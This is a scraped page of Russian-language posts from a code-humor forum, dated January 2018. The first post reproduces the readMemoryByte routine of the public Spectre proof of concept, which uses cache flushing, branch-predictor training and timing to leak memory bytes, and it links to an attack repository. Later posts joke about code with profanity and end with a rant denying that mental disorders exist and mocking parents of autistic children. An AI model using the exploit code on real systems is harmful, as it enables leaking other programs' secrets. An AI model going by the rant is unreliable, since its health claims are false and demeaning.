-
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
Красиво. Душевно.
https://github.com/Eugnis/spectre-attack
gost,
06 Января 2018
-
0
- 1
- 2
- 3
- 4
Политота #3
#1: http://govnokod.ru/15804 (не открывается)
#2: http://govnokod.ru/19910
syoma,
06 Января 2018
-
0
- 1
Давайте обсудим meltdown и spectre.
Объясните мне кто-нибудь, в чем принципиальное отличие spectre от meltdown? И как оно позволяет читать память других процессов? Все что я пока понял - это чтение памяти ядра, которое уже все прикрыли, и проблемы с жс в браузере.
FrauSchweinhund,
06 Января 2018
-
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
mixin template IConvertible(Args...)
{
interface IConvertible
{
mixin template IConvertiblePrivate(T)
{
T Convert();
}
mixin template IConvertiblePrivate(TFirst, Args...)
{
TFirst Convert();
mixin IConvertiblePrivate!(Args);
}
mixin IConvertiblePrivate!(Args);
};
}
void main()
{
mixin IConvertible!(int, float);
class Number : IConvertible
{
int Convert() { return 0; }
float Convert() { return 0.0; }
};
}
#dlang
В продолжение темы дженериков и шаблонов
P.S. Проверочный код: hate
Desktop,
06 Января 2018
-
0
- 1
- 2
На сайте поломался счётчик прочитанных комментов.
Всегда показывает, что я нихера не прочитал.
inho,
05 Января 2018
-
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
import '/asyncio'
main = async $ loop ->
task = "Hello, {}!".format whatever where
await asyncio.sleep 1
whatever = "World"
await task
loop = asyncio.get_event_loop!
loop.run_until_complete $ main loop
http://pyos.github.io/dg/
So dynamik very hasky
roman-kashitsyn,
04 Января 2018
-
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
open class Converter {
init() { }
func convert<T, U>(from: T) -> U {
return self.convert(from: T.self)
}
private func convert(from: MyClass1) -> MyClass2 {
return MyClass2(value: from.value)
}
private func convert(from: MyClass2) -> MyClass1 {
return MyClass1(value: from.value)
}
}
let converter = Converter()
let mC1 = MyClass1(value: 10)
let mC2 = MyClass2(value: 30)
let mc2_1: MyClass2 = converter.convert(from: mC1)
let mc1_1: MyClass1 = converter.convert(from: mC2)
So deep, too recursion
Desktop,
04 Января 2018
-
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
var a = 5
// блять сука оказывается тут будет ошибка
(function() {
alert(a)
})()
var a = 5;
// блять ебать оказывается тут её не будет ёбаный в рот!
(function() {
alert(a)
})()
пора учить питон
fuckercoder,
03 Января 2018
-
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
var naxyi = 'Хуя себе'
function say() {
function go() {
function xyi() {
function pizda() {
function pidor(argument) {
function gandon() {
function god() {
alert(naxyi)
}
god()
}
gandon()
}
pidor()
}
pizda()
}
xyi()
}
go()
}
say()
заебался от зарплат в рашке
fuckercoder,
03 Января 2018
-
0
ВОЗ старается расклассифицировать всех виды психических расстройств и подобрать для них критерии, а на самом деле они никогда в чистом виде не проявляются и диагноз ставится из личного мнения врача и администрации больницы. В то же время никаких исследований не проводится, этиологию подчас определить нельзя, а ушлые завсегдатели клеймят всех генетической обусловленностью. Всякие там яжемамки наслушавшись "устрашающих" рассказов про великий и ужасный синдром Каннера, синдром Аспергера от которых "усипусичка всю жизнь будет нитаким", "тугосеренька помрёт", и т.д., и т.п., и д.р., а сами в то же время уже считают их пенсию (которую из-за психических расстройств получить почти нереально) в своём фимознутом межушном "ганглии". И что весьма примечательно, всякие Аспергеры и Каннеры возникают именно у детей таких, прости хоспаде, мамаш. Мне крайне вставляют заявления всяких Милоновых про Цотону и излечение "Б-женькой". В итоге мы живём в мире, где можно выделить только три типа людей: психорганическая личность, ретардированная личность и параноидно-диссоциальная личность, которые постоянно индуцируют друг друга, что приводит к тому, что мы сейчас видим в мире. А тем временем болезней, которые придумывает ВОЗ не существует. Как мы вообще живём в этом?
d_fomenok,
03 Января 2018